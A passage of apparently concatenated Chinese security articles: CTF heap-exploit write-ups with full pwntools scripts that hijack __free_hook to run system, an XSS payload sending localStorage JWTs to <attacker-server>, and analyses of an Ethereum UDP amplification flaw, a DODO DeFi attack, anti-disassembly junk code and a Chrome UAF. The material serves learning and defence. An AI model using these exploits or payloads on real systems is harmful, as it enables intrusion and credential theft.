这里没有`show`函数，因此只能通过覆写`stdout`来进行`libc`基址的泄露，那么首先就需要填满`tcache`。为了方便后面的`off-by-one`的利用，这里我们将`tcache`中的堆块分配为地址相邻的。具体的方法就是分配一个`0x500`附近的堆块，是的`0x500-size>0x410`（这里选择的`size`是`0x90`），也就是对`chunk`切割之后，剩余的`chunk`满足和`top`合并的要求，之后再次申请`size`大小的堆块，那么剩余部分就会合并到`top
chunk`中，显式的释放申请到的`chunk`即`realloc(0)`，此时`tcache`中就填充了一个`size`大小的堆块。重复`8`次，就可以得到一个包含有`main_arena`附近地址的`chunk`。
那么如何分配到这个`chunk`，并修改`chunk`中`main_arena`附近的地址指向`stdout`呢。这里采用的方法就是在`0x30`大小的堆块空间内布置三个堆块，通过`0x30`的第一个堆块`off-by-one`构造堆重叠，覆写`main_arena`附近的地址为`stdout`，通过`0x90`即上一步构造的`chunk` `off-by-one`构造堆重叠覆写`0x30`链表中第二个`chunk`的`fd`指针指向包含有`main_arena`附近的地址的`chunk`。这样就完成了构造，只需要申请三次`0x30`大小的堆块就可以分配到`stdout`附近的地址了。要满足这样的需要在第三个`0x30`大小的堆块（`tcache`中的第一个堆块）申请之前申请一个堆块用于堆重叠，需要在第`7`个`0x90`大小的堆块申请之前，申请一个堆块用于堆重叠，最终构造出的堆布局如下
利用`0x5c0`地址的`chunk`覆写`0x670`地址的`chunk`的`size`位为`0xf1`，使其能够覆写`0x730,0x700`地址的`chunk`。覆写`0x730`堆块的`FD`指针的低一字节为`0xe0`即指向包含有`main_arena`附近地址的堆块。利用`0x760`大小的堆块覆写`0x7b0`大小的堆块的`size`使其能够覆写`0x7d0`的`fd`指针，将低二字节覆写为`stdout`的地址，这里需要`1/16`的爆破。
可以看到这里申请三次`0x30`大小的堆块就可以覆写`stdout`了，在申请释放的过程中需要注意改变堆块的`size`，防止申请的堆块释放的时候又回到了`0x30`的链表中，这里之前用之前的堆重叠堆块覆写`size`位就可以。
在覆写`stdout`泄露得到`libc`基址之后，由于`stdout`并不符合一个堆块的要求，因此其在`realloc`函数中会报错。这里就需要调用`close`函数了，因为此时会清空`buf`指针。之后直接利用堆重叠覆写`tcache`的`fd`指向`free_hook-0x18`的位置，写入`cmd+system_address`。因为此时我们关闭了`stdout`，因此需要将命令设置为`cat
flag 1&>2`。
# encoding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xB1B)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('47.111.104.99', 51905)
libc = ELF('./libc.so.6')
one_gadget = 0x0
def add(size, content=b"\n"):
p.sendlineafter("choice:", "1")
p.sendlineafter("Size:", str(size))
p.sendafter("Data:", content)
def add_without(size, content=b"\n"):
p.sendline("1")
sleep(0.1)
p.sendline(str(size))
sleep(0.1)
p.send(content)
sleep(0.1)
def delete():
p.sendlineafter("choice:", "1")
p.sendlineafter("Size:", str(0))
def delete_without():
p.sendline("1")
sleep(0.1)
p.sendline(str(0))
sleep(0.1)
def close_stdout():
p.sendlineafter("choice:", "2")
stdout = 0xa760
malloc_size = 0x4f0
while True:
try:
for i in range(6):
add(malloc_size)
add(0x80)
delete()
add(malloc_size)
add(0xa8)
delete()
add(malloc_size)
add(0x80)
delete()
add(malloc_size)
add(0x28)
delete()
add(malloc_size)
add(0x28)
delete()
add(malloc_size)
add(0x48)
delete()
add(malloc_size)
add(0x28)
delete()
log.success("free unsorted bin chunk")
add(0x3c0)
add(0x80)
delete()
# gdb.attach(p, "b *$rebase(0xB1B)")
add(0xa8, b"a" * 0xa8 + b"\xf1")
delete()
add(0x88)
delete()
add(0xe8, b"a" * 0x98 + p64(0x21) + b"\x00" * 0x18 + p64(0x21) + b"\xe0")
delete()
add(0x48, b"a" * 0x48 + b"\xc1")
delete()
add(0x28)
delete()
add(0xb8, b"a" * 0x28 + p64(0x91) + p16(stdout))
delete()
add(0xe8, b"a" * 0x98 + p64(0x21) + b"\x00" * 0x18 + p64(0x41))
delete()
add(0x28)
delete()
add(0x28)
delete()
add(0x28, p64(0xfbad2887 | 0x1000) + p64(0) * 3 + b"\x00")
p.recvuntil(p64(0xfbad2887 | 0x1000), timeout=1)
p.recv(0x18)
libc.address = u64(p.recv(8)) + 0x60 - libc.sym['_IO_2_1_stdout_']
log.success("libc address is {}".format(hex(libc.address)))
if b"\x7f" in p64(libc.address):
break
except KeyboardInterrupt:
exit(0)
except:
p.close()
if debug:
p = process([file_path])
else:
p = remote('47.111.104.99', 51905)
close_stdout()
p.recvuntil("Bye\n")
# gdb.attach(p, "b *$rebase(0xB1B)")
payload = b"a" * 0x98 + p64(0x21) + b"\x00" * 0x18 + p64(0x61) + p64(libc.sym['__free_hook'] - 0x18) + b"\n"
add_without(0xe8, payload)
delete_without()
add_without(0x38)
delete_without()
payload2 = b"cat flag 1>&2".ljust(0x18, b"\x00") + p64(libc.sym['system']) + b"\n"
add_without(0x38, payload2)
# gdb.attach(p, "b *$rebase(0xB1B)")
delete_without()
p.interactive()
## babyheap
程序提供了四种操作`add,show,edit,delete`。其中`add`函数只能分配`0xF8`大小的字节，`edit`函数中存在一个`off-by-null`。比较经典的`2.27`下面的`off-by-null`的利用。但是由于这里不能写入`prev_size`位，因此需要想些办法。
在泄露出`libc`基址之后，通过释放四个`0x100`大小的堆块，在依次申请，使得第`2,3,4`大小的堆块的`prev_size`位残留有释放堆块时写入的`prev_size`。得到`prev_size`之后就可以利用`off-by-null`了。首先释放第`1`个堆块，利用第`2`个堆块改写`3`堆块的`PREV_INUSE`位，释放第`3`个堆块，此时`1,2,3`堆块合并，再依次申请三个堆块`1,3,5`，那么此时`2,3`中保存的堆块指针相同。
利用指向同一个堆块的两个指针构造`double
free`。覆写`free_hook`为`system`，释放包含有`/bin/sh`字符串的堆块即可`getshell`。
# encoding=utf-8
from pwn import *
file_path = "./babyheap"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0xD3B)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('47.111.96.55', 55103)
libc = ELF('./libc.so.6')
one_gadget = 0x0
def add():
p.sendlineafter(">>", "1")
def show(index):
p.sendlineafter(">>", "2")
p.sendlineafter("index?", str(index))
def edit(index, size, content):
p.sendlineafter(">>", "3")
p.sendlineafter("index?", str(index))
p.sendlineafter("Size:", str(size))
p.sendafter("Content:", content)
def delete(index):
p.sendlineafter(">>", "4")
p.sendlineafter("index?", str(index))
for i in range(7):
add()
add() # 7
add()
add() # 9
for i in range(7):
delete(i)
delete(7)
delete(8)
for i in range(7):
add()
add() # 7
show(7)
p.recv()
libc.address = u64(p.recvline().strip(b"\n").ljust(0x8, b"\x00")) - 0x250 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address {}".format(hex(libc.address)))
add() # 8
add() # 10
add()
add() # 12
add() # 13
add() # 14
for i in range(7):
delete(i)
delete(10)
delete(11)
delete(12)
delete(13)
for i in range(7):
add()
add()
add()
add()
add()
for i in range(7):
delete(i)
delete(10)
edit(12, 0xf8, "\x00")
delete(13)
for i in range(7):
add()
add() # 10
add() # 13 == 11
add() # 14
add() # 15
delete(13)
delete(14)
delete(11)
# gdb.attach(p, "b *$rebase(0xD3B)")
add() # 11
edit(11, 0x20, p64(libc.sym['__free_hook']))
add() # 13
add() # 14
edit(14, 0x20, "/bin/sh\x00")
add() # 15
edit(17, 0x20, p64(libc.sym['system']))
delete(14)
p.interactive()
## 参考
[google ctf sprint](https://ctftime.org/writeup/23032)
[2017 DCTF flex](https://www.anquanke.com/post/id/89855) | 社区文章 |
本文为翻译文章，原文链接为：<https://medium.com/redteam/stealing-jwts-in-localstorage-via-xss-6048d91378a0>
几个月前，我遇到了一些JWT的问题，最终导致Web应用程序的漏洞。有些情况包括通过XSS窃取管理员token以及在账户注册期间伪造以达到管理员权限。
JWT和传统cookie不同，他们有些相似，但人们对它又有些模糊的错误概念因为他们不能被利用传统的攻击方式。
通过这个博客，我会简要描述什么是JWT，它与传统cookie的相似之处，以及不同之处，讲一个关于如何窃取他们的例子以及如何防御。
## 什么是JWT？
简而言之，JWT就是JSON Web Token。这是一种系统对用户进行身份验证的简单方法，且是使用的开源库进行实现的。JWT由三个点分隔开的组件组成：
header.payload.signature
header通常描述的是它用了什么哈希算法，payload包含的是用户相关的信息（例如角色，权限级别等），signature保证完整性。
在大多数的配置当中，一旦用户提供有效的凭据，token就会随着HTTP头发送并且用于即将的身份验证缓解，这里有点像标准的会话cookie。
近几年已经有过很多关于JWT漏洞的报道，例如算法攻击，操作payload达到更高权限。这篇文章中，我不打算深入研究JWT的架构和以前报过的漏洞。
## 如何获取传统cookie和JWT
们快速的复习一下cookie的用途，它就是用来对状态协议（HTTP）提供有状态信息。举个例子，会话cookie用于跟踪用户在Web应用程序上的经过身份验证的会话。所以会话记录必须同时存在于服务器和客户端。
而JWT上token本身可以是无状态的，也就是没有会话记录保存在服务器端。相反，发送到服务器的每个请求都包含用户的token，服务器在其中验证用户的真实性。
cookie和JWT都遵循类似的事件流来请求和获取会话token，一旦用户提供了有效的凭证，那么服务器就会返回一个会话token。cookie通过set-cookie来设置，JWT可以通过Authorization头字段来设置。
## 他们储存在哪里？
使用一个默认的配置来总结：
### localStorage / sessionStorage
* 默认情况下，你可以在这里找到JWT。
* Web浏览器容器几乎完全相同。
* 浏览器关闭后，localStorage仍然存在。
* sessionStorage仅持续到浏览器关闭为止。
* 只能在客户端读取，而不能在服务端读取。
* 可以通过javascript读取（！）。
### cookie
* cookie是为了发送给服务器进行验证
* 有了正确保护后是没法被javascript读取到的（！）。
## 传统的cookie保护
身份验证用的cookie经常被使用XSS漏洞进行攻击窃取，为攻击者提供劫持会话的能力，并最终通过易受攻击的网络服务器来进入到网络边界以内。
有些头字段可以为存储在cookie容器中的数据专门进行设置。是可以解决XSS的问题（例如，HttpOnly字段，secure字段，path字段和domain字段都提供了不同级别的保护）。
但是你将JWT存储在localStorage中，就好像把密码明文存储在文本文件里。
## 通过XSS窃取localStorage中的JWT的样例
在最近参与的一次测试中，我发现了一个存储的XSS漏洞，该漏洞使用JWT进行身份验证，一旦设置了有效的XSS
payload，访问该网页的任何用户都会将他们的JWT发给我。
最初我无法通过XSS获取JWT，大多数是因为每个JWT都有一个唯一的标识符/键值，因此在不知道这个信息的情况下无法获取它。
例如，在javascript警告框中呈现cookie的方式
<script>document.cookie</script>
由于localStorage的数据存储在数组中，因此无法使用类似的方法调用。
<script>alert(localStorage)</script>
有一种来获取localStorage或sessionStorage中数据的方法是通过getItem()。
<script>alert(localStorage.getItem(‘key’))</script>
示例：
<script>alert(localStorage.getItem(‘ServiceProvider.kdciaasdkfaeanfaegfpe23.username@company.com.accessToken’))</script>
但是做到上述你需要限制的这个唯一标识符“key”，如下所示：
我想你可以暴力破解它，或者写一些javascript来迭代localStorage中的对象，或者为什么不把所有内容都dump下来？
同JSON.Stringify有个不错的方法。这会把localStorage的内容转换为字符串从而解决这个问题，例如：
<script>alert(JSON.stringify(localStorage))</script>
一个完整的用于窃取JWT的XSS PoC应该如下所示：
<img src=’https://<attacker-server>/yikes?jwt=’+JSON.stringify(localStorage);’--!>
根据目标的实现，这可以帮你提供一些IdToken，accessToken等有效令牌。IdToken可以用于验证和伪装用户（实际就是账户接管），accessToken可以生产带有身份验证端点的全新IdToken。
这里最大的问题就是将传统的cookie安全头字段用于localStorage存储的能力。
## 解决修复
* 虽然结果会有所不同，但是还是可以通过使用传统的cookie保护措施来保护你的JWT；
* 不要在localStorage中存储敏感内容，例如JWT或其他凭据，localStorage的目的是保存网站状态和设置来提供优良的用户体验；
* 考虑使用cookie头字段而不是authorization头字段；
* 设置cookie保护；
* 不要在URL或者源代码等处显示token。 | 社区文章 |
# 以太坊UDP流量放大反射DDOS漏洞
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞影响
该漏洞表面上是一个放大5倍udp反射DDOS漏洞，但其对ETH的P2P网络的影响是非常大的，但是这个漏洞有很大的两个副作用，一个是ETH的发现节点池会不断的被堆满，导致正常节点无法加入，二是可屏蔽被攻击节点无法探索到任意子网的节点。
## 漏洞分析
先让我们来看看ETH
P2P发现协议的文档，在`https://github.com/ethereum/devp2p/blob/master/discv4.md`这篇ETH
P2P发现协议文档里是有对udp反射DDOS做防御的。
> Pong Packet (0x02)
> packet-data = [to, ping-hash, expiration]
> **Pong is the reply to ping.ping-hash should be equal to hash of the
> corresponding ping packet.** Implementations should ignore unsolicited pong
> packets that do not contain the hash of the most recent ping packet.
其方法就是通过签名PIng包并且让对方主机回复的Pong包要带上之前Ping包的hash才可以通过校验。这个从设计上来说是没什么问题的，然而go-ethereum在实现该协议的时候出了问题。
让我们来看看go-ethereum是怎么实现该协议的，在`https://github.com/ethereum/go-ethereum/blob/master/p2p/discover/udp.go#L618`
func (req *ping) handle(t *udp, from *net.UDPAddr, fromKey encPubkey, mac []byte) error {
if expired(req.Expiration) {
return errExpired
}
key, err := decodePubkey(fromKey)
if err != nil {
return fmt.Errorf("invalid public key: %v", err)
}
//收到ping包后马上回复pong包
t.send(from, pongPacket, &pong{
To: makeEndpoint(from, req.From.TCP),
ReplyTok: mac,
Expiration: uint64(time.Now().Add(expiration).Unix()),
})
n := wrapNode(enode.NewV4(key, from.IP, int(req.From.TCP), from.Port))
t.handleReply(n.ID(), pingPacket, req)
//如果没通过pong校验则发送一个ping包进行pong校验，如果通过pong校验则加入发现节点池
if time.Since(t.db.LastPongReceived(n.ID())) > bondExpiration {
t.sendPing(n.ID(), from, func() { t.tab.addThroughPing(n) })
} else {
t.tab.addThroughPing(n)
}
t.localNode.UDPEndpointStatement(from, &net.UDPAddr{IP: req.To.IP, Port: int(req.To.UDP)})
t.db.UpdateLastPingReceived(n.ID(), time.Now())
return nil
}
由于我们是第一次连接，所以要进行pong校验，我们来看看go-ethereum是怎么实现协议中的pong校验的，在`https://github.com/ethereum/go-ethereum/blob/master/p2p/discover/udp.go#L645`
func (req *pong) handle(t *udp, from *net.UDPAddr, fromKey encPubkey, mac []byte) error {
if expired(req.Expiration) {
return errExpired
}
fromID := fromKey.id()
//开始处理pong，如果没有请求过pong，就返回错误
if !t.handleReply(fromID, pongPacket, req) {
return errUnsolicitedReply
}
t.localNode.UDPEndpointStatement(from, &net.UDPAddr{IP: req.To.IP, Port: int(req.To.UDP)})
//刷新pong时间，通过pong校验
t.db.UpdateLastPongReceived(fromID, time.Now())
return nil
}
可见只要通过t.handleReply的校验我们就可以刷新pong时间通过校验了，让我们来看看t.handleReply
是怎么处理的`https://github.com/ethereum/go-ethereum/blob/master/p2p/discover/udp.go#L369`
func (t *udp) handleReply(from enode.ID, ptype byte, req packet) bool {
matched := make(chan bool, 1)
select {
//放入gotreply等待返回matched
case t.gotreply <- reply{from, ptype, req, matched}:
// loop will handle it
return <-matched
case <-t.closing:
return false
}
}
我们继续往下追
case r := <-t.gotreply:
var matched bool
for el := plist.Front(); el != nil; el = el.Next() {
p := el.Value.(*pending)
if p.from == r.from && p.ptype == r.ptype {
//是否有拉取过请求，有则matched为true
matched = true
// Remove the matcher if its callback indicates
// that all replies have been received. This is
// required for packet types that expect multiple
// reply packets.
//对应的callback校验，然而就算p.callback返回为false，matched也为true
if p.callback(r.data) {
p.errc <- nil
plist.Remove(el)
}
// Reset the continuous timeout counter (time drift detection)
contTimeouts = 0
}
}
r.matched <- matched
这里基本能看出问题了，p.callback返回了false，只要不抛出错误，matched还是true，校验就算通过了，我们再来看看pong校验的callback是怎么处理的`https://github.com/ethereum/go-ethereum/blob/master/p2p/discover/udp.go#L294`
func (t *udp) sendPing(toid enode.ID, toaddr *net.UDPAddr, callback func()) <-chan error {
req := &ping{
Version: 4,
From: t.ourEndpoint(),
To: makeEndpoint(toaddr, 0), // TODO: maybe use known TCP port from DB
Expiration: uint64(time.Now().Add(expiration).Unix()),
}
packet, hash, err := encodePacket(t.priv, pingPacket, req)
if err != nil {
errc := make(chan error, 1)
errc <- err
return errc
}
//这里就是pong校验的callback，可见就算没通过校验也只是返回了false
errc := t.pending(toid, pongPacket, func(p interface{}) bool {
ok := bytes.Equal(p.(*pong).ReplyTok, hash)
if ok && callback != nil {
callback()
}
return ok
})
t.localNode.UDPContact(toaddr)
t.write(toaddr, req.name(), packet)
return errc
}
所有，实际上go-ethereum并没有很好的实现pong校验，导致协议设计的防御机制彻底失效。
## 漏洞利用
1. 伪造udp源地址
2. 构造ping包发送到geth的p2p发现协议UDP端口，拉取pong请求
3. 构造pong包发送到geth的p2p发现协议UDP端口，hash留空即可
4. 然后再发送findnode包即可发射5倍以上udp流量
由于官方还未修补该漏洞，所以暂时不公布POC
## 漏洞演示
下面用go-ETH最新版1.8.21来演示
成功将UDP流量放大5倍反射到1.1.6.7
单个虚拟机测试，CPU占用率轻松达到50%
屏蔽受害节点无法发现指定网段节点： | 社区文章 |
# DODO攻击事件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 事件背景
DODO是基于主动做市商算法的下一代链上流动性基础设施。DODO作为一个去中心化交易平台，采用资金池模式，纯链上交易。支持新资产的无成本发行。
零时科技区块链安全情报平台监控到消息，北京时间2021年3月9日，DODO官方发推称DODO
V2资金池wCRES/USDT遭到黑客攻击，已暂时禁用DODO上的资金池创建，并表示其他资金池都是安全的。
零时科技安全团队对该安全事件进行复盘分析。
## 事件分析
通过初步分析，DODO V2资金池遭攻击事件中涉及的地址如下：
被攻击的DLP合约地址：
_https://cn.etherscan.com/address/0x051ebd717311350f1684f89335bed4abd083a2b6#code_
攻击交易：
_https://cn.etherscan.com/tx/0x395675b56370a9f5fe8b32badfa80043f5291443bd6c8273900476880fb5221e_
攻击者地址：
_https://cn.etherscan.com/address/0x368a6558255bccac517da5106647d8182c571b23_
攻击者合约：
_https://cn.etherscan.com/address/0x910fd17b9bfc42a6eea822912f036ef5a080be8a#code_
空气币FUSDT：
_https://cn.etherscan.com/token/0xf2df8794f8f99f1ba4d8adc468ebff2e47cd7010_
空气币 FDO：
_https://cn.etherscan.com/token/0x7f4e7fb900e0ec043718d05caee549805cab22c8_
初步了解后，继续通过bloxy.info分析交易详情，如下图：
详细步骤如下：
**一 .** 攻击者首先通过getVaultReserve()函数获取了目前合约中的两个token地址。
**二 .**
通过transferfrom()函数给DLP合约分别转入13万FDO和115万FUSDT（攻击者地址之前的几笔交易已对资金进行approve授权）。
**三 .** 接下来进行闪电贷，攻击者通过flashLoan()函数进行闪电贷，得到13万枚wCRES和113万枚USDT。
以上操作均没有问题，攻击者对传入的币种进行闪电贷，获取贷款的资产。
那么问题出在哪？继续来看攻击者进行闪电贷的后续操作：
**四 .**
攻击者调用init()函数将自己的空气币FDO和FUSDT地址作为baseTokenAddress和quoteTokenAddress参数传入，也就是之前贷款的两个token地址wCRES和USDT。
问题就出在这里，正常情况下init()函数是在合约部署初始化时调用，那么这里为什么攻击者能够成功调用，接下来分析init()函数的合约代码怎么写的：
上图中可以看到DVM合约中，存在init()函数对池子进行初始化设置操作，但该函数并不是只调用一次，也不是只有内部调用的internal属性，而是external属性，就是说可以进行外部调用。那么攻击者可以调用该函数就不奇怪了。
我们继续分析，攻击者将init()的token地址重新传入自己的空气币FDO和FUSDT地址有什么好处。
由于在之前的操作中，攻击者将这两种空气币（13万FDO和115万FUSDT）转入被攻击合约，之后进行闪电贷获取了贷款（13万枚wCRES和113万枚USDT），在闪电贷的操作中又重新调用被攻击合约的init()函数，并在之前合约token地址（wCRES和USDT
）处，传入两种空气币（FDO和FUSDT）的token地址，这里就是问题所在。
由于攻击者进行闪电贷时传入了空气币FDO和FUSDT，借走CRES和USDT，当原始的CRES和USDT地址修改成空气币FDO和FUSDT地址，攻击者还款时就还的是空气币FDO和FUSDT，也就达成了攻击者使用空气币借款并还款的目的。最终盗走13万枚wCRES和113万枚USDT，资金流转交易如下图：
## 总结
该攻击事件中，主要利用DODO合约中可重新初始化漏洞，盗取了13万枚wCRES和113万枚USDT的巨额资产。这类问题主要是智能合约开发人员对函数调用没有进行严格校验，导致init()函数可重新调用。在零时科技安全团队审计过程中也曾出现过此类重复调用问题，并及时和项目方人员对接，规避了此类问题的发生。
## 安全建议
DeFi今年确实备受关注，黑客攻击也不断发生，包括Harvest Finance，Value DeFi，Akropolis，Cheese
Bank和Origin Dollar等均受到不同程度的黑客攻击。针对频频发生的黑客攻击事件，我们给出以下的安全建议：
在项目上线之前，找专业的第三方安全企业进行全面的安全审计，而且可以找多家进行交叉审计；
可以发布漏洞赏金计划，发送社区白帽子帮助找问题，先于黑客找到漏洞；
加强对项目的安全监测和预警，尽量做到在黑客发动攻击之前发布预警从而保护项目安全。 | 社区文章 |
# 逆向学习笔记之花指令
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概念
花指令是企图隐藏掉不想被逆向工程的代码块(或其它功能)的一种方法，在真实代码中插入一些垃圾代码的同时还保证原有程序的正确执行，而程序无法很好地反编译,
难以理解程序内容，达到混淆视听的效果。
简单的说就是在代码中混入一些垃圾数据阻碍你的静态分析。
## 花指令分类
花指令大致可以分为可执行花指令和不可执行花指令两类：
### 可执行花指令
可执行花指令指的是这部分花指令代码在程序的正常执行过程中会被执行
* 但执行这些代码没有任何意义
* 执行前后不改变任何寄存器的值(当然eip这种除外)
* 同时这部分代码也会被反汇编器正常识别
**目的**
1. 首先，花指令的首要目的依然是加大静态分析的难度,让你难以识别代码的真正意图
2. 然后，这种花指令可以破坏反编译的分析,使得栈指针在反编译引擎中出现异常。(当然我们知道栈指针实际上是没有问题的,只不过反编译引擎还有待完善的空间)
### 不可执行式花指令
不可执行花指令指的是这部分花指令代码在程序的正常执行过程中不会被执行
不可执行花指令是利用反汇编器线性扫描算法的缺陷使得静态分析的时候会看到一些错误的代码
## 最常见的花指令
如图所示,这就是ctf题目中最常见也是最简单花指令之一，一个典型的不可执行花指令。
### patch方法
首先我们将0x00401D92处的代码转换成数据
然后将0x00401D94处的数据转换成代码，再把0x00401D92，0x00401D93处的数据nop掉即可
我们知道E9是jmp指令对应的机器码，当反汇编器读取到E9时，接着会往下读取四个字节的数据作为跳转地址的偏移，所以才会看到错误的汇编代码。
### 编写方法
如果我们在写程序的时候嵌入_asm _emit 0E9，反编译器就会把下一条指令当做地址数据，不管下一条指令实际上的四个字节是地址数据还是操作指令。
__asm {
_emit 075h #jmp $+4
_emit 2h
_emit 0E9h
_emit 0EDh
}
上面嵌入的4字节数据即可使得程序反汇编反编译出错，注意这里的75是jnz的机器码，所以要求程序执行到这里时Zflag=0。
## 具体例子
### 无花指令源程序
这里我写了一个tea加密算法，我们用msvc编译，生成完成pdb文件方便分析，然后ida打开
#include <stdio.h>
#include <stdint.h>
void encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i; /* set up */
uint32_t delta = 0x9e3779b9; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
} /* end cycle */
v[0] = v0; v[1] = v1;
}
int main() {
int a = 1;
uint32_t flag[] = { 1234,5678 };
uint32_t key[] = { 9,9,9,9 };
encrypt(flag, key);
printf("%d,%d", flag[0], flag[1]);
return 0;
}
首先可以看到main函数和源代码差别不大
然后可以看到encrypt函数也和源代码基本一样
### 加入花指令
接下来我们加入两个花指令
第一个花指令在main函数中，就是我们上面提供的最简单的花指令编写方法
第二个花指令在encrypt函数中，是一个可执行花指令，下面我会具体分析这个花指令以及对应的去除方法
#include <stdio.h>
#include <stdint.h>
#define JUNKCODE __asm{
__asm jmp junk1
__asm __emit 0x12
__asm junk2:
__asm ret
__asm __emit 0x34
__asm junk1:
__asm call junk2
}
void encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i; /* set up */
uint32_t delta = 0x9e3779b9; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
JUNKCODE
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
} /* end cycle */
v[0] = v0; v[1] = v1;
}
int main() {
int a = 1;
uint32_t flag[] = { 1234,5678 };
uint32_t key[] = { 9,9,9,9 };
__asm {
_emit 075h
_emit 2h
_emit 0E9h
_emit 0EDh
}
encrypt(flag, key);
printf("%d,%d", flag[0], flag[1]);
return 0;
}
**第一个花指令**
首先ida打开查看main函数：
虽然还是反编译成功了，但是可以看到内容已经完全错误，我们再来看main函数的汇编代码，也就是我们加入的第一个花指令
可以看到这里出现的红色就是我们的第一处花指令，patch方法同上，我们主要看第二处花指令。
**第二个花指令**
f5反编译直接报错
可以发现花指令的混淆作用还是很明显的，那我们继续跟进到花指令的反汇编代码处
这里框出的指令就是我们加入的花指令，逻辑其实特别清晰，就是先跳转到junk1，再call junk2，call
junk2的时候会把地址0x004118D3压栈，然后进入junk2中执行retn指令又会把地址0x004118D3
pop到eip中，然后接下来程序继续正常执行。
**去除方法**
这种连续的可执行花指令的去除方法特别简单，直接整块nop掉即可。
但是真正的复杂程序里这种花指令的数量很多，人工nop很耗时，同时极容易出错，所以我们真正应该掌握的是自动化的方法，编写脚本匹配花指令模板进行去除。
### 去除花指令
这里是我们要去除的花指令模板
#define JUNKCODE __asm{
__asm jmp junk1
__asm __emit 0x12
__asm junk2:
__asm ret
__asm __emit 0x34
__asm junk1:
__asm call junk2
}
这里是idapython编写的ida匹配模板去除花指令脚本
def nop(addr, endaddr):
while addr < endaddr:
PatchByte(addr, 0x90)
addr += 1
def undefine(addr, endaddr):
while addr < endaddr:
MakeUnkn(addr, 0)
addr += 1
def dejunkcode(addr, endaddr):
while addr < endaddr:
MakeCode(addr)
# 匹配模板
if GetMnem(addr) == 'jmp' and GetOperandValue(addr, 0) == addr + 5 and Byte(addr+2) == 0x12:
next = addr + 10
nop(addr, next)
addr = next
continue
addr += ItemSize(addr)
dejunkcode(0x00411820, 0x00411957)
undefine(0x00411820, 0x00411957)
MakeFunction(0x00411820, -1)
**重要函数解析**
MakeCode(ea) #分析代码区，相当于ida快捷键C
ItemSize(ea) #获取指令或数据长度
GetMnem(ea) #得到addr地址的操作码
GetOperandValue(ea,n) #返回指令的操作数的被解析过的值
PatchByte(ea, value) #修改程序字节
Byte(ea) #将地址解释为Byte
MakeUnkn(ea,0) #MakeCode的反过程，相当于ida快捷键U
MakeFunction(ea,end) #将有begin到end的指令转换成一个函数。如果end被指定为BADADDR（-1），IDA会尝试通过定位函数的返回指令，来自动确定该函数的结束地址
idapython提供的函数挺多的，这里的函数如果有不太理解意思的，可以在ida的python命令行中自行尝试一下，对照着ida汇编窗口的变化和函数返回值很快就能掌握函数的用法
**运行脚本**
我们在ida中运行脚本，然后可以发现那段花指令已经成功nop掉了，按下f5反编译：
可以看到encrypt函数被成功的反编译了。
对于较复杂的程序而言，编写模板匹配脚本去除花指令是十分重要的，可以做到准确无误，同时节省了很多时间。
### 特殊花指令
还有一类较特殊的花指令，它不会影响反汇编和反编译，只是单纯的混淆视听
譬如我们程序需要将某个特定值（这里假设是0x12）压栈，正常操作应该是：
push 0x12
加入花指令后，这个操作可以变成这样：
push 0x26
xor dword ptr ss:[esp], 0x34
我们很容易可以看出来这两种写法是等效的，当我们要压栈的数据是一些很明显的特征值的时候，这种花指令可以很好的保护我们的特征值，防止算法特征被迅速识别
当然这里只是一个简单的例子，这种花指令复杂起来将会使得分析难度大大提升。
## 总结
花指令还有一些其他的运用方法，包括一些很特殊罕见的运用，本文介绍的是较为常见的花指令，也是我在学习过程中经常碰到的花指令。
逆向的路还好长…慢慢学慢慢学 | 社区文章 |
# Google Chromium CVE-2019-5826 UAF分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
CVE-2019-5826是Google Chrome里IndexedDB中的Use-after-free漏洞，在版本73.0.3683.86之前该漏洞允许攻击者通过 **搭配render的RCE漏洞** 来造成UAF并 **沙箱逃逸** 。
## 一、环境搭建
笔者所使用的chrome版本为`73.0.3683.75`（[源码](https://source.chromium.org/chromium/chromium/src/+/refs/tags/73.0.3683.75:content/browser/indexed_db/indexed_db_database.cc)）。下载源码
**并打上patch** ，之后编译运行即可patch如下。至于为什么要打上patch，笔者将在下面详细介绍。
// third_party/blink/renderer/modules/indexeddb/web_idb_factory_impl.cc
void WebIDBFactoryImpl::Open(
std::make_unique<IndexedDBDatabaseCallbacksImpl>(
base::WrapUnique(database_callbacks));
DCHECK(!name.IsNull());
factory_->Open(GetCallbacksProxy(std::move(callbacks_impl)),
GetDatabaseCallbacksProxy(std::move(database_callbacks_impl)),
name, version, transaction_id);
+ if (version == 3) {
+ mojom::blink::IDBCallbacksAssociatedPtrInfo ptr_info;
+ auto request = mojo::MakeRequest(&ptr_info);
+ factory_->DeleteDatabase(std::move(ptr_info), origin, name, true);
+ factory_->AbortTransactionsForDatabase(origin, base::OnceCallback<void(blink::mojom::IDBStatus)>());
+ }
}
